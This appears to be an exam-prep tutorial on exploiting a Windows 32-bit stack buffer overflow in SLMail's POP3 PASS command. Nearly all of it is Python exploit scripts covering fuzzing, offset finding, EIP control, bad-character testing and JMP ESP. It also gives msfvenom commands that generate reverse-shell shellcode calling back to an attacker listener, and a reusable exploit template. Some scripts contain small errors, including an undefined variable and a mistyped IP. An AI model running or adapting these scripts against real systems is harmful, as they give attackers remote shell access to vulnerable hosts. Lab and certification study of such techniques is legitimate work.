Windows 32-Bit Buffer Overflow
SLMail Example
Practice these:
Step By Step Scripts
All the scripts are available here as well as at the bottom.
connect.py
Making sure connection and all the operations are successfully performed is crucial as everything will be built on this script/step.
import socket
import sys
rhost = "192.168."
rport = 110
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
print s.recv(1024)
s.send('USER test\r\n')
print s.recv(1024)
s.send('PASS asdf\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
s.close()
except:
print "Oops! Something went wrong!"
sys.exit()
fuzzer.py
Once you’re successfully able to connect to the service, can perform authentication, and quit gracefully, it’s time to fuzz.
import socket
import sys
rhost = "192.168"
rport = 110
payload = ""
payload += "A" * 100
while True:
try:
print "Fuzzing with %s bytes..." % len(payload)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.send("QUIT")
s.close()
payload += "A"*100
except:
print "Oops! Something went wrong!"
print "Fuzzing crashed at %s bytes" % len(payload)
sys.exit()
getoffset.py
Once the application is fuzzed at X, lets say 2700, bytes, create a unique string of X+200 (or 300) bytes, let’s say 3000 bytes, using msf-pattern_create like below:
msf-pattern_create -l 3000
Assign this unique string to the payload variable
import socket
import sys
rhost = "192.168"
rport = 110
payload = ""
payload += "PASS "
payload += "<enter unique string here>"
payload += "\r\n"
try:
print "Overflowing with %s bytes..." % len(payload)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send(payload)
s.recv(1024)
s.send("QUIT")
s.close()
except:
print "Oops! Something went wrong!"
sys.exit()
Make a note of the address that the EIP was overwriten with, use msf-pattern_offset to find the offset, like below:
msf-pattern_offset -l 3000 -q <enter EIP address>
This will provide you with the offset at which the EIP will be written at. If the offset is 2606, then that means from byte 2607 to byte 2610 will determine the EIP address, and the rest will go into ESP.
controleip.py
Next step is to ensure the offset we received is actually right. To do so, we’ll put 4 “B"s from byte 2607 till byte 2610.
import socket
import sys
rhost = "192.168"
rport = 110
# Total payload size to be sent,
size = 3200
payload = "A"*2606+"B"*4
payload += "C"*(size - len(payload))
request = ""
request += "PASS "
request += payload
request += "\r\n"
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send(request)
s.recv(1024)
s.send("QUIT")
s.close()
except:
print "Oops! Something went wrong!"
sys.exit()
If the application crashes with EIP with the address : 42424242, which is hex for BBBB, we’ll move on to the next step
badchar.py
Finding bad characters is an iterating process. You will be sending characters from 0x01 to 0xff, and upon countering a character that breaks or is escaped by the application, that character is removed from the character array and the process is repeated. Bad characters aren’t necessarily just the null byte (0x00), newline (\n - 0x0a), and carriage return (\r - 0x0d).
Take a good 20 minutes, sit down, and identify each and every bad character
To know what hex is which character - man ascii or asciitables website
import socket
import sys
rhost="192.168"
rport=110
size = 3200
payload = ""
payload += "PASS "
payload += "A"*2606
# Bad chars identified - 0x00
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload += badchars
payload += "D"*(size-len(payload))
payload += "\r\n"
try:
print "Testing bad chars..."
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send(payload)
s.close()
except:
print "Oops! Something went wrong!"
sys.exit()
Finding JMP Pointer
Once all the bad characters are found, we’ll find the JMP ESP pointer from the Immunity Debugger itself using mona. Since I am using SLMail as my example, the bad characters that I will be avoiding are - 0x00 0x0a 0x0d
!mona jmp -r esp -cpb "\x00\x0a\x0d"
By executing the above command you will not only find the addresses, without protection mechanisms, that would perform JMP ESP but also ensure that none of the addresses has any of the bad characters in itself.
Please ensure you select an address from the applications’ DLL ONLY, and NOT from OS DLLs. Application DLLs will be constant across operating systems, but we can NOT say the same for OS DLLs.
jmpesp.py
Now that we have our EIP on our hand, let’s see if we actually reach there and that it does go where we want it to.
In the Immunity Debugger, “go to” the address you selected and toggle breakpoint on.
import socket
import struct
import sys
rhost="19.168."
rport=110
size = 3200
ptr_jmp_esp = 0x5F4A358F
payload = ""
payload += "PASS "
payload += "A"*2606
payload += struct.pack("<I",ptr_jmp_esp) # Automatic little endian conversion
payload += "C"*(size-len(buff))
payload += "\r\n"
try:
print "Gaining EIP..."
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send(payload)
s.close()
except:
print "Oops! Something went wrong!"
sys.exit()
Once we hit the breakpoint, first test is complete. Now let the application continue execution till return to ensure it actually goes in to the ESP.
shelly.py
Now that we found the right address, and verified it. Let’s get a reverse shell. I will be using a stageless shellcode since I have more than enough space to do so.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168. LPORT=443 -f py -a x86 -b "\x00\x0a\x0d" --var-name shellcode EXITFUNC=thread
The above command will generate a shellcode, but in python3 format, which I’m not using for now, so we will remove the “b"s in the front every line and then paste it in our exploit code.
By not specifying an encoder, msfvenom will automatically choose one on it’s own, which is good.
import socket
import struct
import sys
rhost="192.168."
rport=110
size = 3200
# 5F4A358F FFE4 JMP ESP
ptr_jmp_esp = 0x5F4A358F
payload = ""
payload += "PASS "
payload += "A"*2606
payload += struct.pack("<I",ptr_jmp_esp)
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168. LPORT=443 -f py -a x86 -b "\x00\x0a\x0d" --var-name shellcode EXITFUNC=thread
<paste shellcode here>
nopsled = "\x90"*12 # Put appropriate number of nops
payload += nopsled
payload += shellcode
payload += "D"*(size - len(payload))
payload += "\r\n"
try:
print "Sending evil code..."
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send(payload)
s.close()
except:
print "Oops! Something went wrong!"
sys.exit()
EXAM GUIDE
Steps
Commands
/usr/bin/msf-pattern_create -l
/usr/bin/msf-pattern_offset -q
# avoid pointers with bad chars
# !mona jmp -r esp -cpb "\x00\x0a\x0d"
# try selecting an application specific DLL instead of OS
!mona jmp -r esp -cpb '\x00'
# Do NOT add an encoder by yourself, let msfvenom decide that
# [Recommended, reasons at the bottom] Stageless - use nc to connect to this shell
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -b '\x00' -f python --var-name shellcode EXITFUNC=thread
# Do NOT add an encoder by yourself, let msfvenom decide that
# Staged - use multi/handler to connect to this shell
msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=443 -b '\x00' -f python --var-name shellcode EXITFUNC=thread
cheatsheet.py
import socket
import struct
import sys
rhost = "192.168."
rport =
size = 3200
cmd = "PASS "
eip_offset =
# Only select program DLL. Do NOT select OS DLL
ptr_jmp_esp = # JMP ESP - xxxx.dll
# Bad characters identified: \x00
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -b '\x00' -f python --var-name shellcode EXITFUNC=thread
# Remove the "b" prefix from each line
shellcode = ""
payload = ""
payload += cmd
payload += "A"*eip_offset # padding
payload += struct.pack("<I",ptr_jmp_esp) # converting address to little endian
payload += "\x90"*16 # nopsled
payload += shellcode
payload += "D"*(size - len(payload)) # trialing padding
payload += "\r\n"
# Put a while loop to fuzz
# while True:
try:
print "Sending evil payload..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((rhost,rport))
s.recv(1024)
s.send("USER test\r\n")
s.recv(1024)
s.send(payload)
s.recv(1024)
s.send("QUIT")
s.close()
# Fuzzing increment
#payload += "A"
except:
print "Oops! Something went wrong!"
#print "Fuzzing crashed at %s bytes" % len(payload)
sys.exit()
Why stageless
- Less the number of exploitation steps, the better
- More control over the shell execution process
- The stager that gets dropped in the staged shell, could be blocked or unable to execute for plethora of reasons unknown to you
- It’s more of a Metasploit thing, which could be one of the reasons it may get blocked
Why staged
- Tried increasing the payload buffer but not enough space to fit a stageless shellcode
Scripts Repo
All the scripts are available here